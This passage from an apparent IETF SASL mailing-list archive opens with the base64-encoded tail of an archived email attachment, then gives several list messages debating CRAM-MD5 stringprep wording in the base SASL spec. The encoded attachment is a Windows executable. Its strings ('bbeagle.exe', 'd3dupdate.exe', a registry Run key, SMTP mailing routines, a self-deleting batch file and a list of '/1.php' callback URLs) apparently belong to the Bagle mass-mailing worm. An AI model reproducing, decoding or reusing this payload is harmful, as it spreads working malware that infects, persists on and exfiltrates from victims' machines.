gcQA/v//VldTx0X0AAAAAIt1CIl1/P91DI9F+AF1+Dt1+A+DowAAAP9F9IF99BAnAAB1DmoB 6NMIAADHRfQAAAAA/Kw8QHV+Vv91/OjM/v//i9j/dfjoEP///4vIK8uB+fQBAABzXoP5BXZZ /Ivzjb0A/v//M9KsCsB0B6o8QHUCi9fi8jPAqgvSdDlSjYUA/v//UOirCAAAWoP4BXYmUo2F AP7//1DoCf///4vYV1LoHf///yPYC9t0Co2FAP7//1D/VRBe6VT///9bX17JwgwAVYvsg8T4 U2oAagBqA2oAagFoAAAAgP91COiCBwAAiUX8QHRaagD/dfzotAcAAIlF+EB0QmoAagBqAGoC agD/dfzoYAcAAAvAdCyL2GoAagBqAGoEUOjWBwAAC8B0ElD/dQz/dfhQ6MD+///o2AcAAFPo GAcAAP91/OgQBwAAW8nCCABoiBMAAGhKgUAA6Djq//+NBU6BQADGAADDVYvsV78yUEAA/IvX M8CDyf/yrlL/dQjoLAgAAAvAdAczwF/JwgQAgD8Add24AQAAAF/JwgQAVYvs/3UI6L////8L wHUEycIEAP91COis6f//UGiIEwAAaEqBQADo5+n//wvAdDCAPU6BQAAAdQ3/dQj/dQjo9vj/ /+sN/3UIaE6BQADo5/j///91CGhOgUAA6DsHAADJwgQAVYvsV78cUEAA/IvXM8CDyf/yrlL/ dQjokwcAAAvAdBJoLCtAAP91COie/v//X8nCBACAPwB10l/JwgQAVYvsg8T0V2gABAAAagDo oAYAAIlF+Gg+AQAAagDokQYAAIlF9P91COjUBgAAi/ho51dAAP91COizBgAA/3X0/3UI6AwG AACJRfxAdHCLRQjGBAcAi1X0jVIsZoM6LnQ/ZoE6Li50OFL/dQjofwYAAItV9I0S9wIQAAAA dBpo5VdAAP91COhlBgAA/3UM/3UI6Gv////rCP91COgl////agHoJQYAAP919P91/OioBQAA hcB1mP91/OiQBQAA/3X46PQFAAD/dfTo7AUAAF/JwggAVYvsg8T8aAAAAQBqQOjDBQAAiUX8 /3UIUOgLBgAAUFDoCf////91/OiuBQAAycIEAFWL7IPE/FZTaAAgAABqQOiQBQAAiUX8/3X8 aP8fAADoVgUAAIt1/IA+AHQcVug2BQAAg/gDdQZW6JL///9W6LsFAAAD8Ebr3/91/OhaBQAA W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4 aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc 5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91 DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/ dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM 6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v// hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+ ////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v// UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ----------572668853471687-- From owner-ietf-sasl Wed Jan 21 10:52:07 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq7ib027650; Wed, 21 Jan 2004 10:52:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LIq7JP027649; Wed, 21 Jan 2004 10:52:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq5ib027641 for ; Wed, 21 Jan 2004 10:52:06 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 7C7BB66F0E for ; Wed, 21 Jan 2004 10:52:01 -0800 (PST) Date: Tue, 20 Jan 2004 22:05:01 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1074636301@localhost> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > I disagree and believe that the choice of encoding and normalization > for the authentication identity is entirely a matter of choice for the > mechanism document and is out of scope for normative comments from the > base spec. The base spec can and does give advice on what best > practice is with regard to these issues. Fair enough. I'm not convinced there is consensus either for or against adding Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. --lyndon From owner-ietf-sasl Wed Jan 21 12:31:48 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKVmib032503; Wed, 21 Jan 2004 12:31:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LKVmUx032502; Wed, 21 Jan 2004 12:31:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ckmso2.proxy.att.com (ckmso2.att.com [209.219.209.75]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKViib032491 for ; Wed, 21 Jan 2004 12:31:46 -0800 (PST) (envelope-from tony@att.com) Received: from maillennium.att.com ([135.25.114.99]) by ckmso2.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i0LKVejs031324 for ; Wed, 21 Jan 2004 15:31:40 -0500 Received: from att.com (unknown[135.210.35.3](misconfigured sender)) by maillennium.att.com (mailgw1) with ESMTP id <20040121202927gw100o260ne>; Wed, 21 Jan 2004 20:29:27 +0000 Message-ID: <400EE1AD.6010309@att.com> Date: Wed, 21 Jan 2004 15:31:41 -0500 From: Tony Hansen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lyndon Nerenberg CC: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> In-Reply-To: <2147483647.1074636301@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I think it should be common to all mechanisms, and thus belongs in the base spec. Tony Hansen tony@att.com Lyndon Nerenberg wrote: > > --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > >> I disagree and believe that the choice of encoding and normalization >> for the authentication identity is entirely a matter of choice for the >> mechanism document and is out of scope for normative comments from the >> base spec. The base spec can and does give advice on what best >> practice is with regard to these issues. > > Fair enough. I'm not convinced there is consensus either for or against > adding Sam's proposed text. Could the WG chairs please conduct a 'hum' > over whether the text should be added to the draft? This is the last > outstanding issue, and as soon as it's resolved we can get this document > into last call. > > --lyndon From owner-ietf-sasl Wed Jan 21 13:05:17 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Eib034733; Wed, 21 Jan 2004 13:05:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LL5El6034732; Wed, 21 Jan 2004 13:05:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Dib034726 for ; Wed, 21 Jan 2004 13:05:13 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LL5Eec012041; Wed, 21 Jan 2004 21:05:14 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121125336.03cc3358@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:04:48 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Sam Hartman , ietf-sasl@imc.org In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:43 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >>I'd like to hear from people who believe we should allow unassigned >>codepoints in cram-md5. > >Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). Depends on what you mean by "whole issue". The unassigned code point handling is certain germane to the preparation of strings in CRAM-MD5. However, CRAM-MD5 should just rely on SASLprep to cover the particulars of that handling. Now, if you mean this bit: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would agree that this text should mot be included in the document. Kurt From owner-ietf-sasl Wed Jan 21 13:32:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWJib035646; Wed, 21 Jan 2004 13:32:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LLWJ3u035645; Wed, 21 Jan 2004 13:32:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWIib035639 for ; Wed, 21 Jan 2004 13:32:18 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LLWKec012324; Wed, 21 Jan 2004 21:32:20 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:31:53 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1074636301@localhost> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:05 PM 1/20/2004, you wrote: >--On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: >>I disagree and believe that the choice of encoding and normalization >>for the authentication identity is entirely a matter of choice for the >>mechanism document and is out of scope for normative comments from the >>base spec. The base spec can and does give advice on what best >>practice is with regard to these issues. > >Fair enough. I'm not convinced there is consensus either for or against adding 